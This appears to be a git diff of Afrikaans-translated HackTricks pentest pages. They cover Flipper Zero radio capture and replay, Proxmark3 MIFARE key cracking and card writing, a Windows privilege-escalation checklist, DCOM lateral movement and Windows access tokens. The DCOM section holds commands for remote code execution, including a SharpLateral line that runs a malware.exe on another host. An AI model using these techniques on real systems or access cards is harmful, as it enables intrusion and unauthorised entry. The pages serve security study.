**Ander Flipper Zero hulpbronne in** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,17 +15,10 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Intro <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero kan **radiofrekwensies in die reeks van 300-928 MHz ontvang en oordra** met sy ingeboude module, wat afstandbeheerder kan lees, stoor en emuleer. Hierdie beheerders word gebruik vir interaksie met hekke, hindernisse, radio slotte, afstandbeheer skakelaars, draadlose deurbel, slim ligte, en meer. Flipper Zero kan jou help om te leer of jou sekuriteit gecompromitteer is.
Flipper Zero kan **radiofrekwensies in die reeks van 300-928 MHz ontvang en oordra** met sy ingeboude module, wat afstandbeheerder kan lees, stoor en emuleer. Hierdie beheerders word gebruik vir interaksie met hekke, hindernisse, radio slotte, afstandbeheer skakelaars, draadlose deurklokke, slim ligte, en meer. Flipper Zero kan jou help om te leer of jou sekuriteit gecompromitteer is.
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
@ -43,7 +36,7 @@ Flipper Zero het 'n ingeboude sub-1 GHz module gebaseer op 'n [](https://www.
Hoe om te vind watter frekwensie die afstandbeheerder gebruik
{% endhint %}
Wanneer geanaliseer, Flipper Zero skandeer seinsterkte (RSSI) by al die frekwensies beskikbaar in frekwensie konfigurasie. Flipper Zero vertoon die frekwensie met die hoogste RSSI waarde, met seinsterkte hoër as -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Wanneer geanaliseer word, skandeer Flipper Zero die seinsterkte (RSSI) by al die frekwensies beskikbaar in frekwensie konfigurasie. Flipper Zero vertoon die frekwensie met die hoogste RSSI waarde, met seinsterkte hoër as -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Om die afstandbeheerder se frekwensie te bepaal, doen die volgende:
@ -79,7 +72,7 @@ Steal (en herhaal) 'n sein in die geconfigureerde frekwensie
Die **Lees Rau** opsie **registreer seine** wat in die luister frekwensie gestuur word. Dit kan gebruik word om 'n sein te **steel** en dit te **herhaal**.
As standaard is **Lees Rau ook in 433.92 in AM650**, maar as jy met die Lees opsie gevind het dat die sein wat jou interesseer in 'n **ander frekwensie/modulering is, kan jy dit ook aanpas** deur links te druk (terwyl jy binne die Lees Rau opsie is).
As standaard is **Lees Rau ook in 433.92 in AM650**, maar as jy met die Lees opsie gevind het dat die sein wat jou interesseer in 'n **ander frekwensie/modulering is, kan jy dit ook wysig** deur links te druk (terwyl jy binne die Lees Rau opsie is).
### Brute-Force
@ -128,19 +121,13 @@ Kry dBms van die gestoor frekwensies
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,32 +6,24 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Aanval op RFID Stelsels met Proxmark3
## Aanval op RFID-stelsels met Proxmark3
Die eerste ding wat jy moet doen is om 'n [**Proxmark3**](https://proxmark.com) te hê en [**die sagteware en sy afhanklikhede te installeer**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Aanval op MIFARE Classic 1KB
Dit het **16 sektore**, elk het **4 blokke** en elke blok bevat **16B**. Die UID is in sektor 0 blok 0 (en kan nie verander word nie).\
Om toegang tot elke sektor te verkry, het jy **2 sleutels** (**A** en **B**) wat in **blok 3 van elke sektor** gestoor is (sektor trailer). Die sektor trailer stoor ook die **toegangsbits** wat die **lees en skryf** regte op **elke blok** gee met behulp van die 2 sleutels.\
2 sleutels is nuttig om regte te gee om te lees as jy die eerste een ken en te skryf as jy die tweede een ken (byvoorbeeld).
Om toegang tot elke sektor te verkry, het jy **2 sleutels** (**A** en **B**) wat in **blok 3 van elke sektor** gestoor is (sektor trailer). Die sektor trailer stoor ook die **toegangsbits** wat die **lees en skryf** toestemmings op **elke blok** gee met behulp van die 2 sleutels.\
2 sleutels is nuttig om toestemmings te gee om te lees as jy die eerste een ken en te skryf as jy die tweede een ken (byvoorbeeld).
Verskeie aanvalle kan uitgevoer word
```bash
@ -52,11 +44,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Die Proxmark3 maak dit moontlik om ander aksies uit te voer soos **afluister** van 'n **Tag na Leser kommunikasie** om te probeer om sensitiewe data te vind. In hierdie kaart kan jy net die kommunikasie snuffel en die gebruikte sleutel bereken omdat die **kryptografiese operasies wat gebruik word swak is** en deur die plain en cipher teks te ken, kan jy dit bereken (`mfkey64` tool).
Die Proxmark3 laat toe om ander aksies uit te voer soos **afluister** 'n **Tag na Leser kommunikasie** om te probeer om sensitiewe data te vind. In hierdie kaart kan jy net die kommunikasie snuffel en die gebruikte sleutel bereken omdat die **kryptografiese operasies wat gebruik word swak is** en deur die plain en cipher teks te ken kan jy dit bereken (`mfkey64` tool).
### Rauwe Opdragte
IoT-stelsels gebruik soms **nie-gemerkte of nie-kommersiële etikette**. In hierdie geval kan jy Proxmark3 gebruik om pasgemaakte **rauwe opdragte na die etikette** te stuur.
IoT stelsels gebruik soms **nie-gemerkte of nie-kommersiële tags**. In hierdie geval kan jy Proxmark3 gebruik om pasgemaakte **rauwe opdragte na die tags** te stuur.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -74,14 +66,7 @@ Die Proxmark3 sagteware kom met 'n vooraf gelaaide lys van **outomatiseringsskri
```
proxmark3> script run mfkeys
```
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
U kan 'n skrip skep om **fuzz tag readers** te doen, so om die data van 'n **geldige kaart** te kopieer, skryf net 'n **Lua skrip** wat een of meer willekeurige **bytes** randomiseer en kyk of die **leser crash** met enige iterasie.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -91,9 +76,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,15 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Beste hulpmiddel om na Windows plaaslike privilege escalatie vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Beste hulpmiddel om te soek na Windows plaaslike privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Stelselinligting](windows-local-privilege-escalation/#system-info)
@ -49,12 +41,12 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* [ ] Kyk of enige [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
* [ ] [**AppLocker Beleid**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
* [ ] [**Gebruikers Privileges**](windows-local-privilege-escalation/#users-and-groups)
* [ ] [**Gebruiker Privileges**](windows-local-privilege-escalation/#users-and-groups)
* [ ] Kyk [**huidige** gebruiker **privileges**](windows-local-privilege-escalation/#users-and-groups)
* [ ] Is jy [**lid van enige bevoorregte groep**](windows-local-privilege-escalation/#privileged-groups)?
* [ ] Kyk of jy [enige van hierdie tokens geaktiveer het](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [ ] [**Gebruikers Sessies**](windows-local-privilege-escalation/#logged-users-sessions)?
* [ ] Kyk[ **gebruikers tuis**](windows-local-privilege-escalation/#home-folders) (toegang?)
* [ ] Kyk[ **gebruikers huise**](windows-local-privilege-escalation/#home-folders) (toegang?)
* [ ] Kyk na [**Wagwoord Beleid**](windows-local-privilege-escalation/#password-policy)
* [ ] Wat is[ **binne die Klembord**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
@ -132,12 +124,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* [ ] Kyk of jy dit kan misbruik
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -8,26 +8,18 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## MMC20.Application
**Vir meer inligting oor hierdie tegniek, kyk die oorspronklike pos van [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Verspreide Komponent Objektmodel (DCOM) objekke bied 'n interessante vermoë vir netwerk-gebaseerde interaksies met objekke. Microsoft bied omvattende dokumentasie vir beide DCOM en Komponent Objektmodel (COM), beskikbaar [hier vir DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) en [hier vir COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). 'n Lys van DCOM toepassings kan verkry word met die PowerShell opdrag:
Distributed Component Object Model (DCOM) objek bied 'n interessante vermoë vir netwerk-gebaseerde interaksies met objek. Microsoft bied omvattende dokumentasie vir beide DCOM en Component Object Model (COM), beskikbaar [hier vir DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) en [hier vir COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). 'n Lys van DCOM-toepassings kan verkry word met die PowerShell-opdrag:
```bash
Get-CimInstance Win32_DCOMApplication
```
@ -37,9 +29,9 @@ Hierdie funksie fasiliteer die uitvoering van opdragte oor 'n netwerk deur 'n DC
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Hierdie opdrag maak verbinding met die DCOM-toepassing en keer 'n instansie van die COM-objek terug. Die ExecuteShellCommand-metode kan dan aangeroep word om 'n proses op die afstandsbediener uit te voer. Die proses behels die volgende stappe:
Hierdie opdrag verbind met die DCOM-toepassing en keer 'n instansie van die COM-objek terug. Die ExecuteShellCommand-metode kan dan aangeroep word om 'n proses op die afstandlike gasheer uit te voer. Die proses behels die volgende stappe:
Kontroleer metodes:
Check methods:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
@ -104,7 +96,7 @@ Twee toestelle word beklemtoon vir die outomatisering van hierdie tegnieke:
- **Invoke-DCOM.ps1**: 'n PowerShell-skrip wat deur die Empire-projek verskaf word en die oproep van verskillende metodes vir die uitvoering van kode op afstandmasjiene vereenvoudig. Hierdie skrip is beskikbaar by die Empire GitHub-bewaarplek.
- **SharpLateral**: 'n toestel wat ontwerp is om kode op afstand uit te voer, wat gebruik kan word met die opdrag:
- **SharpLateral**: 'n Toestel wat ontwerp is om kode op afstand uit te voer, wat gebruik kan word met die opdrag:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -134,8 +120,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**intekenplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -15,23 +15,10 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Toegangstokens
Elke **gebruiker wat op die stelsel aangemeld is**, **besit 'n toegangstoken met sekuriteitsinligting** vir daardie aanmeldsessie. Die stelsel skep 'n toegangstoken wanneer die gebruiker aanmeld. **Elke proses wat namens die gebruiker uitgevoer word**, **het 'n kopie van die toegangstoken**. Die token identifiseer die gebruiker, die gebruiker se groepe, en die gebruiker se voorregte. 'n Token bevat ook 'n aanmeld SID (Security Identifier) wat die huidige aanmeldsessie identifiseer.
Elke **gebruiker wat op die stelsel aangemeld is** **besit 'n toegangstoken met sekuriteitsinligting** vir daardie aanmeldsessie. Die stelsel skep 'n toegangstoken wanneer die gebruiker aanmeld. **Elke proses wat** namens die gebruiker **uitgevoer word, het 'n kopie van die toegangstoken**. Die token identifiseer die gebruiker, die gebruiker se groepe, en die gebruiker se voorregte. 'n Token bevat ook 'n aanmeld SID (Sekuriteitsidentifiseerder) wat die huidige aanmeldsessie identifiseer.
Jy kan hierdie inligting sien deur `whoami /all` uit te voer.
```
@ -83,17 +70,17 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit
### Plaaslike administrateur
Wanneer 'n plaaslike administrateur aanmeld, **word twee toegangstokens geskep**: Een met administrateurregte en die ander een met normale regte. **Standaard**, wanneer hierdie gebruiker 'n proses uitvoer, word die een met **reguliere** (nie-administrateur) **regte gebruik**. Wanneer hierdie gebruiker probeer om **enige iets** **as administrateur** uit te voer ("Run as Administrator" byvoorbeeld), sal die **UAC** gebruik word om toestemming te vra.\
Wanneer 'n plaaslike administrateur aanmeld, **word twee toegangstokens geskep**: Een met admin regte en die ander een met normale regte. **Standaard**, wanneer hierdie gebruiker 'n proses uitvoer, word die een met **reguliere** (nie-administrateur) **regte gebruik**. Wanneer hierdie gebruiker probeer om **enige iets** **as administrateur** uit te voer ("Run as Administrator" byvoorbeeld) sal die **UAC** gebruik word om toestemming te vra.\
As jy wil [**meer oor die UAC leer, lees hierdie bladsy**](../authentication-credentials-uac-and-efs/#uac)**.**
### Kredensiële gebruikersverpersoonliking
### Kredensiële gebruiker impersonasie
As jy **geldige kredensiale van enige ander gebruiker** het, kan jy 'n **nuwe aanmeldsessie** met daardie kredensiale **skep**:
```
runas /user:domain\username cmd.exe
```
Die **toegangsteken** het ook 'n **verwysing** na die aanmeldsessies binne die **LSASS**, dit is nuttig as die proses toegang tot sekere voorwerpe van die netwerk moet verkry.\
Jy kan 'n proses begin wat **verskillende akrediteerbesonderhede gebruik om toegang tot netwerkdienste te verkry** deur:
Die **toegangsteken** het ook 'n **verwysing** na die aanmeldsessies binne die **LSASS**, dit is nuttig as die proses toegang tot sekere voorwerpe van die netwerk benodig.\
Jy kan 'n proses begin wat **verskillende geloofsbriewe gebruik om toegang tot netwerkdienste te verkry** met:
```
runas /user:domain\username /netonly cmd.exe
```
@ -103,12 +90,12 @@ This is useful if you have useful credentials to access objects in the network b
There are two types of tokens available:
* **Primary Token**: Dit dien as 'n voorstelling van 'n proses se sekuriteitsakkrediteer. Die skepping en assosiasie van primêre tokens met prosesse is aksies wat verhoogde voorregte vereis, wat die beginsel van voorregskeiding beklemtoon. Gewoonlik is 'n verifikasiediens verantwoordelik vir token skepping, terwyl 'n aanmelddiens dit hanteer met die gebruiker se bedryfstelsel-skal. Dit is die moeite werd om op te let dat prosesse die primêre token van hul ouer proses by skepping erf.
* **Impersonation Token**: Bemagtig 'n bedienertoepassing om die kliënt se identiteit tydelik aan te neem om toegang tot veilige voorwerpe te verkry. Hierdie meganisme is gelaag in vier vlakke van werking:
* **Primary Token**: Dit dien as 'n voorstelling van 'n proses se sekuriteitsakkrediteer. Die skepping en assosiasie van primêre tokens met prosesse is aksies wat verhoogde voorregte vereis, wat die beginsel van voorregskeiding beklemtoon. Tipies is 'n verifikasiediens verantwoordelik vir token skepping, terwyl 'n aanmelddiens dit hanteer met die gebruiker se bedryfstelsel-skal. Dit is die moeite werd om op te let dat prosesse die primêre token van hul ouer proses by skepping erf.
* **Impersonation Token**: Bemagtig 'n bedienertoepassing om die kliënt se identiteit tydelik aan te neem vir toegang tot veilige voorwerpe. Hierdie meganisme is gelaag in vier vlakke van werking:
* **Anonymous**: Gee bediener toegang soortgelyk aan dié van 'n onbekende gebruiker.
* **Identification**: Laat die bediener toe om die kliënt se identiteit te verifieer sonder om dit te gebruik vir voorwerp toegang.
* **Impersonation**: Stel die bediener in staat om onder die kliënt se identiteit te werk.
* **Delegation**: Soortgelyk aan Impersonation, maar sluit die vermoë in om hierdie identiteit aanneming na afgeleë stelsels wat die bediener mee werk, uit te brei, wat akkrediteer behoud verseker.
* **Delegation**: Soortgelyk aan Impersonation, maar sluit die vermoë in om hierdie identiteit aanneming uit te brei na afstandstelsels waarmee die bediener interaksie het, wat akkrediteer behoud verseker.
#### Impersonate Tokens
@ -128,17 +115,6 @@ Take a look to [**all the possible token privileges and some definitions on this
Learn more about tokens in this tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) and [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,34 +15,20 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Integriteitsvlakke
In Windows Vista en later weergawes, kom alle beskermde items met 'n **integriteitsvlak** etiket. Hierdie opstelling ken meestal 'n "medium" integriteitsvlak toe aan lêers en registersleutels, behalwe vir sekere vouers en lêers waartoe Internet Explorer 7 op 'n lae integriteitsvlak kan skryf. Die standaardgedrag is dat prosesse wat deur standaardgebruikers geïnisieer word, 'n medium integriteitsvlak het, terwyl dienste tipies op 'n stelselintegriteitsvlak werk. 'n Hoë-integriteitsetiket beskerm die wortelgids.
'n Sleutelreël is dat voorwerpe nie deur prosesse met 'n laer integriteitsvlak as die voorwerp se vlak gewysig kan word nie. Die integriteitsvlakke is:
'n Sleutelreël is dat voorwerpe nie gewysig kan word deur prosesse met 'n laer integriteitsvlak as die voorwerp se vlak nie. Die integriteitsvlakke is:
* **Onbetroubaar**: Hierdie vlak is vir prosesse met anonieme aanmeldings. %%%Voorbeeld: Chrome%%%
* **Laag**: Hoofsaaklik vir internetinteraksies, veral in Internet Explorer se Beskermde Modus, wat geassosieerde lêers en prosesse beïnvloed, en sekere vouers soos die **Tydelike Internet-gids**. Lae integriteitsprosesse ondervind beduidende beperkings, insluitend geen register skrywe toegang en beperkte gebruikersprofiel skrywe toegang nie.
* **Medium**: Die standaardvlak vir die meeste aktiwiteite, toegeken aan standaardgebruikers en voorwerpe sonder spesifieke integriteitsvlakke. Selfs lede van die Administrators-groep werk standaard op hierdie vlak.
* **Hoog**: Gereserveer vir administrateurs, wat hulle toelaat om voorwerpe op laer integriteitsvlakke te wysig, insluitend dié op die hoë vlak self.
* **Stelsel**: Die hoogste operasionele vlak vir die Windows-kern en kern dienste, buite bereik selfs vir administrateurs, wat beskerming van noodsaaklike stelselfunksies verseker.
